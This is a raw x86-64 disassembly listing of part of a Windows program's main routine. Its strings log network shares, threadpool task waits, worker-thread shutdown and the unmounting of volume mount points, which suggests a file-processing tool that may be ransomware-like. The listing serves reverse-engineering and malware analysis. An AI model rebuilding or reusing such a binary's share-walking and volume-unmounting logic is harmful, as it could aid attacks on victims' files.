cmp qword [rsp + 0x168], 7
cmova rax, qword [rsp + 0x150]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x460]
call fcn.140008a80
mov rdx, qword [rsp + 0x168]
cmp rdx, 7
jbe 0x14001d1a3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d19e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ddb4
call fcn.1400256e4
movups xmm0, xmmword [rsp + 0x460]
movups xmmword [rsp + 0x150], xmm0
movups xmm1, xmmword [rsp + 0x470]
movups xmmword [rsp + 0x160], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
mov ecx, 0x20
call fcn.1400256ec
mov dword [rax], 1
mov dword [rax + 4], 2
xor ecx, ecx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], r14d
mov qword [rsp + 0xb8], rax
mov ecx, 0x28
call fcn.1400256ec
mov rbx, rax
mov qword [rsp + 0x3b0], rax
lea rdx, [rsp + 0x150]
mov rcx, rax
call fcn.1400021c0
mov qword [rbx + 0x20], r15
mov qword [rsp + 0x3b8], rbx
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x140021050]
xor edx, edx
xor ecx, ecx
call fcn.140037d24
mov qword [rsp + 0xa8], rax
test rax, rax
je 0x14001dde5
cmp r13, qword [rsp + 0x50]
je 0x14001d2b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x4d8], xmm0
movups xmm1, xmmword [rsp + 0xa8]
movups xmmword [rsp + 0x4f8], xmm1
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [r13], xmm1
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xb8], r14
mov qword [r13 + 0x10], rax
add r13, 0x18
mov qword [rsp + 0x48], r13
jmp 0x14001d2ca
lea r8, [rsp + 0xa8]
mov rdx, r13
lea rcx, [rsp + 0x40]
call fcn.140020190
mov r13, qword [rsp + 0x48]
mov eax, dword [rsp + 0xb0]
test eax, eax
je 0x14001d34b
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
je 0x14001d2ee
call fcn.140016190
mov eax, dword [rsp + 0xb0]
test eax, eax
je 0x14001ddba
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsp + 0xb0], eax
je 0x14001ddc3
movups xmm0, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x3e0], xmm0
xor edx, edx
lea rcx, [rsp + 0x3e0]
call fcn.140024a18
test eax, eax
jne 0x14001ddce
xorps xmm0, xmm0
movups xmmword [rsp + 0x4e8], xmm0
movups xmmword [rsp + 0xa8], xmm0
psrldq xmm0, 8
movd eax, xmm0
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
je 0x14001d38c
mov eax, 0xfffffffe
lock xadd dword [rcx + 4], eax
and eax, 0xfffffffe
cmp eax, 2
jne 0x14001d380
mov eax, 0xffffffff
lock xadd dword [rcx], eax
cmp eax, 1
jne 0x14001d380
lea edx, [rax + 0x1f]
call fcn.1400256e4
mov eax, dword [rsp + 0xb0]
mov r13, qword [rsp + 0x48]
test eax, eax
jne 0x14001ddd9
mov rdx, qword [rsp + 0x168]
cmp rdx, 7
jbe 0x14001d3dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d3d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dddf
call fcn.1400256e4
inc edi
movabs rbx, 0x7ffffffffffffffe
jmp 0x14001d090
mov rdx, qword [rsp + 0x270]
cmp rdx, 7
jbe 0x14001d459
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d430
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ddf8
call fcn.1400256e4
jmp 0x14001d459
cmp qword [rsp + 0x128], 7
cmova rdx, qword [rsp + 0x110]
mov r8d, eax
lea rcx, str.____Share:__s__ret:_0x_X_n
call fcn.140001dd0
nop
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x14001d4a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d49c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ddfe
call fcn.1400256e4
add rsi, 4
jmp 0x14001ca90
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x14001d4f8
mov rax, qword [rsp + 0xe8]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d4f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001de04
call fcn.1400256e4
lea r15, [0x14001a170]
movabs r12, 0x7fffffffffffffff
lea rsi, [0x14006afe0]
lea rcx, str.____Wait_tasks..._n
call fcn.140001dd0
mov rbx, qword [rsp + 0x40]
cmp rbx, r13
je 0x14001d541
mov rcx, rbx
call fcn.140016340
add rbx, 0x18
cmp rbx, r13
jne 0x14001d526
mov r13, qword [rsp + 0x40]
mov qword [rsp + 0x48], r13
cmp byte [0x14006af90], 0
je 0x14001d77d
mov rsi, qword [0x14006afc0]
lea rcx, str.____Wait_threadpool_tasks..._n
call fcn.140001dd0
lea rcx, [rsi + 0x40]
call fcn.14002543c
test eax, eax
jne 0x14001de0a
mov eax, dword [rsi + 0x8c]
cmp eax, 0x7fffffff
je 0x14001de14
mov rdi, qword [rsi + 0x38]
lea rcx, [rsi + 0x40]
call fcn.140025444
test rdi, rdi
je 0x14001d5f0
lea rcx, [rsp + 0x240]
call fcn.1400160b0
mov rax, qword [rsp + 0x240]
movabs rcx, 0x7ffffffffa0a1efe
cmp rax, rcx
jg 0x14001d5d6
add rax, 0x5f5e100
mov qword [rsp + 0x1d0], rax
lea rcx, [rsp + 0x1d0]
call fcn.14001feb0
jmp 0x14001d561
mov qword [rsp + 0x1d0], r12
lea rcx, [rsp + 0x1d0]
call fcn.14001feb0
jmp 0x14001d561
lea rcx, str.___All_tasks_done_in_threadpool._n
call fcn.140001dd0
mov r14, qword [0x14006afc0]
lea rcx, str.____Stop_threadpool..._n
call fcn.140001dd0
mov eax, 1
xchg byte [r14 + 0xe0], al
lea rcx, [r14 + 0x90]
call fcn.140023de8
lea rcx, str.____Wait_active_threads_on_stop..._n
call fcn.140001dd0
mov eax, dword [r14 + 0xdc]
test eax, eax
je 0x14001d69b
nop
lea rcx, [rsp + 0x248]
call fcn.1400160b0
mov rax, qword [rsp + 0x248]
movabs rcx, 0x7ffffffffa0a1eff
cmp rax, rcx
je 0x14001d67b
setl cl
test cl, cl
je 0x14001d67b
add rax, 0x5f5e100
mov qword [rsp + 0x1d8], rax
jmp 0x14001d683
mov qword [rsp + 0x1d8], r12
lea rcx, [rsp + 0x1d8]
call fcn.14001feb0
mov eax, dword [r14 + 0xdc]
test eax, eax
jne 0x14001d640
lea rcx, str.____Join_worker_threads..._n
call fcn.140001dd0
lea rcx, [r14 + 0x40]
call fcn.14002543c
test eax, eax
jne 0x14001de26
mov eax, dword [r14 + 0x8c]
cmp eax, 0x7fffffff
je 0x14001de30
mov rdi, qword [r14]
mov rsi, qword [r14 + 8]
cmp rdi, rsi
je 0x14001d6ee
mov rcx, rdi
call fcn.140016340
add rdi, 0x18
cmp rdi, rsi
jne 0x14001d6d6
mov rax, qword [r14]
mov qword [r14 + 8], rax
lea rcx, str.___Worker_threads_joined._n
call fcn.140001dd0
lea rcx, [r14 + 0x40]
call fcn.140025444
lea rsi, [0x14006afe0]
mov rcx, rsi
call fcn.14002543c
test eax, eax
jne 0x14001de43
cmp dword [0x14006b02c], 0x7fffffff
je 0x14001de4d
mov rbx, qword [0x14006afc0]
test rbx, rbx
je 0x14001d769
lea rcx, [rbx + 0x90]
call fcn.14001ec50
lea rcx, [rbx + 0x40]
call fcn.14001ec50
lea rcx, [rbx + 0x18]
call fcn.14001e690
mov rcx, rbx
call fcn.14001e920
mov edx, 0xe8
mov rcx, rbx
call fcn.1400256e4
mov rcx, rsi
call fcn.140025444
mov r13, qword [rsp + 0x48]
lea r15, [0x14001a170]
jmp 0x14001d79c
xor r14d, r14d
mov eax, dword [0x140063c88]
inc eax
mov dword [0x140063c88], eax
movzx edi, byte [rsp + 0x780]
jmp 0x14001c1ce
mov byte [0x14006afc8], 0
call fcn.140018000
test dil, dil
jne 0x14001da8e
cmp byte [rsp + 0x788], dil
jne 0x14001d7e5
lea rcx, [0x140063d88]
call fcn.14001a550
cmp byte [0x14006afa9], 0
je 0x14001da26
lea rcx, [rsp + 0x2e8]
call fcn.140021ff0
nop
mov rdi, qword [rsp + 0x2e8]
mov rsi, qword [rsp + 0x2f0]
lea r15, [0x14001a3e0]
cmp rdi, rsi
je 0x14001d9f5
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov ecx, 0x20
call fcn.1400256ec
mov dword [rax], 1
mov dword [rax + 4], 2
xor ecx, ecx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], r14d
mov qword [rsp + 0xa0], rax
mov ecx, 0x28
call fcn.1400256ec
mov rbx, rax
mov qword [rsp + 0x788], rax
mov rdx, rdi
mov rcx, rax
call fcn.1400021c0
mov qword [rbx + 0x20], r15
mov qword [rsp + 0x790], rbx
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x140021050]
xor edx, edx
xor ecx, ecx
call fcn.140037d24
mov qword [rsp + 0x90], rax
test rax, rax
je 0x14001de87
cmp r13, qword [rsp + 0x50]
je 0x14001d908
xorps xmm0, xmm0
movups xmmword [rsp + 0x528], xmm0
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x518], xmm1
movups xmmword [rsp + 0x90], xmm0
movups xmmword [r13], xmm1
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa0], r14
mov qword [r13 + 0x10], rax
add r13, 0x18
mov qword [rsp + 0x48], r13
jmp 0x14001d922
lea r8, [rsp + 0x90]
mov rdx, r13
lea rcx, [rsp + 0x40]
call fcn.140020190
mov r13, qword [rsp + 0x48]
mov eax, dword [rsp + 0x98]
test eax, eax
je 0x14001d9a3
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
je 0x14001d946
call fcn.140016190
mov eax, dword [rsp + 0x98]
test eax, eax
je 0x14001de62
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsp + 0x98], eax
je 0x14001de6b
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x3d0], xmm0
xor edx, edx
lea rcx, [rsp + 0x3d0]
call fcn.140024a18
test eax, eax
jne 0x14001de76
xorps xmm0, xmm0
movups xmmword [rsp + 0x508], xmm0
movups xmmword [rsp + 0x90], xmm0
psrldq xmm0, 8
movd eax, xmm0
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
je 0x14001d9e4
mov eax, 0xfffffffe
lock xadd dword [rcx + 4], eax
and eax, 0xfffffffe
cmp eax, 2
jne 0x14001d9d8
mov eax, 0xffffffff
lock xadd dword [rcx], eax
cmp eax, 1
jne 0x14001d9d8
lea edx, [rax + 0x1f]
call fcn.1400256e4
mov eax, dword [rsp + 0x98]
mov r13, qword [rsp + 0x48]
test eax, eax
jne 0x14001de81
add rdi, 0x20
jmp 0x14001d817
lea rcx, [rsp + 0x2e8]
call fcn.1400062c0
mov rbx, qword [rsp + 0x40]
cmp rbx, r13
je 0x14001da26
nop dword [rax]
mov rcx, rbx
call fcn.140016340
add rbx, 0x18
cmp rbx, r13
jne 0x14001da10
mov r13, qword [rsp + 0x40]
mov rdi, qword [0x140063d20]
mov rbx, qword [0x140063d18]
cmp rbx, rdi
je 0x14001da8e
nop dword [rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14001da4d
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov rcx, qword [rbx + 0x18]
mov rdx, rbx
test eax, eax
je 0x14001da70
cmp rcx, 7
jbe 0x14001da67
mov rdx, qword [rbx]
lea rcx, str.___Unmounted:__s_n
jmp 0x14001da80
cmp rcx, 7
jbe 0x14001da79
mov rdx, qword [rbx]
lea rcx, str.____Fail_to_unmount:__s_n
call fcn.140001dd0
add rbx, 0x20
cmp rbx, rdi
jne 0x14001da40
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x14001db0e
cmp rbx, r13
je 0x14001dab1
nop dword [rax]
mov rcx, rbx
call fcn.140016340
add rbx, 0x18
cmp rbx, r13
jne 0x14001daa0
mov rcx, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
sub rcx, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x14001db06
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001de9a
mov rcx, rbx
call fcn.1400256e4
lea rcx, str.____Context_shutdown..._n
call fcn.140001dd0
mov byte [0x14006afb0], 1
mov rcx, qword [0x14006af98]
test rcx, rcx
je 0x14001db34
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14001db39
lea rcx, str.pause
call fcn.140037e0c
lea rcx, str.pause
call fcn.140037e0c
nop
mov rdx, qword [rsp + 0x348]
cmp rdx, 7
jbe 0x14001db9b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001db95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001deb3
call fcn.1400256e4
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 7
jbe 0x14001dbe3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dbde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001deb9
call fcn.1400256e4
mov qword [rsp + 0x100], r14
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], r14w
mov rdx, qword [rsp + 0x218]
cmp rdx, 7
jbe 0x14001dc48
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dc43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001debf
call fcn.1400256e4
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], 7
mov word [rsp + 0x200], r14w
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 7
jbe 0x14001dcad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dca8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dec5
call fcn.1400256e4
xor eax, eax
add rsp, 0x740
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140036a34
nop
lea ecx, [r14 + 1]
call fcn.1400253a0
mov ecx, 1
call fcn.1400253a0
nop
call fcn.140037f54
nop
mov ecx, 5
call fcn.1400253a0
mov dword [0x14006b02c], 0x7ffffffe
mov ecx, 6
call fcn.1400253a0
nop
lea ecx, [rax + 1]
call fcn.1400253a0
int3
mov ecx, 5
call fcn.1400253a0
int3
mov ecx, 2
call fcn.1400253a0
nop
call fcn.140037f54
nop
mov dword [rsp + 0x80], r14d
mov ecx, 6
call fcn.1400253a0
nop
lea ecx, [rax + 1]
call fcn.1400253a0
int3
mov ecx, 5
call fcn.1400253a0
int3
mov ecx, 2
call fcn.1400253a0
nop
call fcn.140037f54
nop
mov dword [rsp + 0xc8], r14d
mov ecx, 6
call fcn.1400253a0
nop
call fcn.1400016e0
call fcn.140001640
call fcn.140036a34
nop
call fcn.140036a34
nop
call fcn.140036a34
int3
call fcn.1400016e0
call fcn.140001640
call fcn.140036a34
int3
call fcn.140036a34
nop
call fcn.140036a34
int3
call fcn.1400016e0
nop
call fcn.1400016e0
call fcn.140036a34
nop
lea ecx, [rax + 1]
call fcn.1400253a0
int3
mov ecx, 5
call fcn.1400253a0
int3
mov ecx, 2
call fcn.1400253a0
nop
call fcn.140037f54
nop
call fcn.140036a34
nop
mov dword [rsp + 0xb0], r14d
mov ecx, 6
call fcn.1400253a0
nop
call fcn.140036a34
nop
call fcn.140036a34
nop
call fcn.140036a34
int3
mov ecx, 5
call fcn.1400253a0
dec eax
mov dword [rsi + 0x8c], eax
mov ecx, 6
call fcn.1400253a0
mov ecx, 5
call fcn.1400253a0
dec eax
mov dword [r14 + 0x8c], eax
mov ecx, 6
call fcn.1400253a0
mov ecx, 5
call fcn.1400253a0
mov dword [0x14006b02c], 0x7ffffffe
mov ecx, 6
call fcn.1400253a0
nop
lea ecx, [rax + 1]
call fcn.1400253a0
int3
mov ecx, 5
call fcn.1400253a0
int3
mov ecx, 2
call fcn.1400253a0
nop
call fcn.140037f54
nop
mov dword [rsp + 0x98], r14d
mov ecx, 6
call fcn.1400253a0
nop
call fcn.140036a34
nop
mov dword [rsp + 0x1c0], r14d
mov ecx, 6
call fcn.1400253a0
nop
call fcn.140036a34
nop
call fcn.140036a34
nop
call fcn.140036a34
nop
call fcn.140036a34
int3